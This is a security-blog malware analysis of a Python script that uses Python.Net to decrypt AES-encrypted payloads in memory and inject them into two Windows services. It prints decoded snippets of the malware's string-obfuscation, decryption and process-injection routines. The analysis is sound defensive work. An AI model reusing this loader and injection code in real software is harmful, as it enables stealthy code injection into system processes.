From Python to .Net
The Microsoft operating system provides the .Net framework[1] to developers. It allows to fully interact with the OS and write powerful applications... but also malicious ones. In a previous diary[2], I talked about a malicious Python script that interacted with the OS using the ctypes[3] library. Yesterday I found another Python script that interacts with the .Net framework to perform the low-level actions.
The script was called 'prophile.py'[4] (SHA256:65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361) has a low VT score of 4/58. Let's have a look at it!
First, all interesting strings are obfuscated using a one-liner:
>>> URIAbQ=lambda s,k:''.join([chr((ord(c)^k)%0x100) for c in s])
>>> URIAbQ ('\x8d\x98\x8a\x92\x95\x90\x8a\x8d\xd9\xd6\xbf\xb0\xd9\xdb\xaa\xbc\xab\xaf\xb0\xba\xbc\xaa\xd9\x9c\x88\xd9', 249)
'tasklist /FI "SERVICES eq '
As the diary title says, the Python script uses the Python.Net library[5] to interact with the .Net framework:
Note: all the snippets of code have been decoded/beautified
from System.Security.Cryptography import* from System.Reflection import* import System
The script uses encrypted payloads but it was not possible to decrypt them because the script was found outside of its context. Indeed, it expects one command-line argument:
if __name__ == "__main__":
if len(sys.argv) != 2:
exit()
The expected parameter is the encryption key as we can see in this function call:
payload = DecryptPayloadToMemory(base64.b64decode(payload1[16:]), sys.argv[1], payload1[:16], log_file)
I did not found the parameter passed as an argument, no way to decrypt the payloads!
These payloads (stored in the script) are decrypted in memory:
def DecryptPayloadToMemory(payload, key, iv, log_file):
instance = None
try:
rm = RijndaelManaged(KeySize=128, BlockSize=128)
rm.Key = Str2Bytes(key)
rm.IV = Str2Bytes(iv)
rm.Padding = PaddingMode.PKCS7
payload = Str2Bytes(payload)
with System.IO.MemoryStream()as memory_handle:
with CryptoStream(memory_handle,rm.CreateDecryptor(rm.Key, rm.IV), CryptoStreamMode.Write) as crypto_handle:
crypto_handle.Write(payload, 0, payload.Length)
print(crypto_handle.FlushFinalBlock())
memory_handle.Position = 0
instance = System.Array.CreateInstance(System.Byte, memory_handle.Length)
memory_handle.Read(instance, 0, instance.Length)
except System.SystemException as ex:
log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message, ex.StackTrace))
log_file.flush()
instance = None
return instance
The script injects malicious code into two Windows services:
process_name = "rpceptmapper" process_name2 = "lanmanserver"
Two payloads are injected into these services using the Assembly. method[6]:
def InjectCode(enc_payld, process_name, log_file, asm):
payload = DecryptPayloadToMemory(base64.b64decode(enc_payld[16:]), sys.argv[1], enc_payld[:16], log_file)
if payload == None:
log_file.write('[!] Failed to get payload')
return False
try:
type = asm.GetType('DefaultSerializer.DefaultSerializer')
pid = GetProcessPID(process_name)
if pid != 0:
NQHRxUDMlW = asm.CreateInstance(type.FullName,False,BindingFlags.ExactBinding,None,System.Array[System.Object]([payload,pid]),None,None)
NQHRxUDMlE = type.GetMethod('Invoke')
log_file.write(NQHRxUDMlE.Invoke(NQHRxUDMlW, None))
else:
log_file.write('[!] Failed to get pid')
return True
except System.SystemException as ex:
log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message,ex.StackTrace))
return False
return True
Another example of how Python becomes more and more popular for attackers!
[1] https://dotnet.microsoft.com/download/dotnet-framework
[2] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530
[3] https://docs.python.org/3/library/ctypes.html
[4] https://bazaar.abuse.ch/sample/65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361/
[5] http://pythonnet.github.io
[6] https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.createinstance?view=net-5.0
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
| Reverse-Engineering Malware: Advanced Code Analysis | Online | Greenwich Mean Time | Oct 27th - Oct 31st 2025 |

Comments